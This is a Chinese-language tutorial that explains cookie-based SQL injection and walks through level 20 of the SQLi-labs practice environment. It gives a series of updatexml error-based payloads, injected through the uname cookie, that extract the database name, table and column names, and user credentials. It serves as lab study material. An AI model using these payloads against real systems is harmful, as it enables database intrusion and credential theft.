SQLlib-第20關之cookie注入

第一節 cookie注入原理

網站傳遞參數的方式

參數類型 含義
get型 一般訪問網頁的行爲
cookie型 伴隨着所有訪問網頁的行爲
post型 上傳文件,登陸

cookie注入原理:對get傳遞來的參數進行了過濾,但是忽略了cookie也可以傳遞參數
【cookie注入的原理在於更改本地的cookie,從而利用cookie來提交非法語句。】
形成有兩個必須條件:

條件 含義
條件1 程序對get和post方式提交的數據進行了過濾,但未對cookie提交的數據庫進行過濾
條件2 條件1的基礎上還需要程序對提交數據獲取方式是直接request(“xxx”)的方式,未指明使用request對象的具體方法進行獲取,也就是說用request這個方法的時候獲取的參數可以是是在URL後面的參數也可以是cookie裏面的參數這裏沒有做篩選,之後的原理就像我們的sql注入一樣了。

第二節cookie注入的判斷

嘗試常規的注入沒有反應,通過抓包分析,存在cookie值–嘗試cookie注入
在這裏插入圖片描述在這裏插入圖片描述在這裏插入圖片描述在這裏插入圖片描述在這裏插入圖片描述在這裏插入圖片描述

第三節代碼審計

在這裏插入圖片描述在這裏插入圖片描述

第四節Cookie注入實例

以SQLlib-20關爲例

第一步 判斷注入類型

在這裏插入圖片描述在這裏插入圖片描述在這裏插入圖片描述

此時判斷出爲但應好閉合,因爲只輸入單引號--報錯--報錯信息未提示單引號錯誤---井號註釋之後---頁面和諧,未出現報錯
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,dversion(),0x5e),1) #]
在這裏插入圖片描述

[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,database(),0x5e),1) #]

在這裏插入圖片描述

第二步 .查選表名

[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x5e),1) #]
在這裏插入圖片描述

第三步查選字段名

[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x5e),1) #]
在這裏插入圖片描述
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),0x5e),1) #]
在這裏插入圖片描述
此時判斷存在usename r和password字段

第四步 獲取字段值

[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select username from users limit 0,1),0x5e),1) #]
在這裏插入圖片描述

[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select password from users limit 0,1),0x5e),1) #]
在這裏插入圖片描述

第五步登錄數據庫後臺驗證

在這裏插入圖片描述在這裏插入圖片描述

免責聲明

本文檔供學習,請使用者注意使用環境並遵守國家相關法律法規!
由於使用不當造成的後果上傳者概不負責!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章